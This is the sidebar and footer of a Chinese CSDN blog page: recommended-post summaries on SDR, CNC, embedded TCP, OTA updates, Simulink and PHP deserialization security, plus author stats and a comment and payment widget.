
weixin_33971977的博客 381

从零开始:用RFSOC XCZU47DR搭建软件无线电开发环境(2023最新版)

本文详细介绍了如何使用Xilinx RFSoC XCZU47DR搭建高性能软件无线电(SDR)开发环境,涵盖硬件选型、开发环境配置、射频子系统校准及实战应用开发。特别针对2023年最新技术需求,提供从基础配置到高级优化的完整指南,助力科研人员和工程师快速掌握RFSoC开发技术。

weixin_42525005的博客 512

从DIY桌面CNC到工业机器人:手把手教你用LinuxCNC搭建自己的第一台数控系统(基于Xenomai实时补丁)

本文详细介绍了如何使用LinuxCNC和Xenomai实时补丁搭建高性价比的数控系统,从硬件选型到实时系统构建,再到HAL硬件抽象层实战和G代码加工,手把手教你打造从DIY桌面CNC到工业机器人的完整解决方案。

weixin_28727975的博客 288

从迷宫到宝藏:PHP反序列化漏洞的奇幻冒险

本文以游戏化视角解析PHP反序列化漏洞的利用与防御,特别结合NewStarCTF2025等赛事场景。通过魔术方法工具包解析、POP链构造实战及多维防御方案,帮助Web安全从业者掌握这一关键技术,从CTF竞赛过渡到真实渗透测试环境。

h6i7j8的博客 818

LwIP TCP Client 解决长数据发送的困扰

问题描述 LWIP 的 TCP Client 发送数据可以调用 tcp_write() 函数,将数据储存在缓冲区里面,然后等待超时自动发送或者调用tcp_output()函数进行发送。 然而 tcp_write() 函数 需要发送的数据过长时,将无法发送,并返回 ERR_MEM。 tcp_write()函数解析 tcp_write()的函数代码很多,就不细看代码了, 先看tcp_write()的完整函数: err_t tcp_write(struct tcp_pcb *pcb, const void

tiantangmoke的博客 1万+

PHP反序列化漏洞攻防:从魔术方法到原生类利用实战

序列化与反序列化是编程中将对象状态转换为可存储或传输格式的核心机制,其原理在于通过特定函数实现对象与字符串之间的相互转换。这一机制的技术价值在于支持数据持久化和网络通信,广泛应用于会话存储、远程调用等场景。然而,当反序列化过程处理不可信数据时,会触发对象中的魔术方法,如__destruct和__wakeup,从而可能引发远程代码执行等安全风险。本文聚焦PHP反序列化漏洞,深入解析魔术方法的触发逻辑与利用方式,探讨如何通过原生类进行无代码攻击,并涵盖变量属性差异及CVE-2016-7124等绕过技术,为Web

weixin_34210740的博客 439

【汽车 OTA 】差分升级

汽车 OTA 差分升级,本质是在整包 OTA 的基础上,通过“只传变化”的方式,大幅减少下载数据量、时间和成本,是当前车端软件升级的主流方向之一。

天赐好车的博客 482

【专栏必读】王道考研408操作系统+Linux系统编程万字笔记使用说明及章节导航

王道408考研操作系统)第一章计算机系统概述-第一节1、2:操作系统概念、概念和特征1:理解fork的作用prinf("还没有执行fork函数的本进程为:%d\n" , getpid());//其返回值是pid类型的 sleep(1);if(ret > 0) //父进程返回的是子进程ID {printf("我是父进程,我的id是:%d,我的孩子id是%d\n" , getpid() , ret);sleep(1);} } else if(ret == 0) //子进程fork返回值是0 {.........

快乐江湖的博客 3万+

Burst Lab | PHP 审计 13|反序列化(三):POP 链构造与 Gadget Chain 分析

并不只是“把字符串变回对象”。对象恢复以后,PHP 可能自动调用__wakeup(),后续业务代码还可能继续触发__call()__invoke()和。如何把多个看似普通的类和方法,沿着对象属性连接成一条可验证的调用链?这类链条通常被称为POP Chain面向属性编程它不是让攻击者直接调用一个“神奇函数”,而是利用对象属性保存的对象关系,让程序按照自己的正常控制流,依次走过多个现成的方法。Gadget、Gadget Chain、Entry、Sink 分别是什么;

Sagittarius_A*的博客 407

手把手教你学Simulink——基础电机控制场景实例:基于Simulink的永磁同步发电机温度场耦合仿真

摘要:本文详细介绍了基于Simulink的永磁同步发电机(PMSG)电-热耦合仿真方法。通过Simscape Electrical搭建含热端口的PMSG模型,结合集总参数热网络(LPTN)实现损耗计算与温度反馈,分析了过载工况下温升对电阻和永磁体性能的影响。仿真结果表明:150%过载20秒会导致绕组温升132°C,电阻增加42%,磁链衰减10.5%。文章还提供了自然冷却与强迫风冷的对比数据,并建议通过多物理场耦合仿真预防实机过热问题。该方法可有效支撑高功率密度电机热设计,避免永磁体退磁风险。

MHD0815的博客 250
上一篇: 学习日志(三)【php语法学习,iscc校赛wp】
下一篇: 学习日志(五)【php反序列化全加例题】【pop链,字符逃逸,session,伪协议】
tryqaaa_
博客等级 码龄1年 11粉丝 31原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值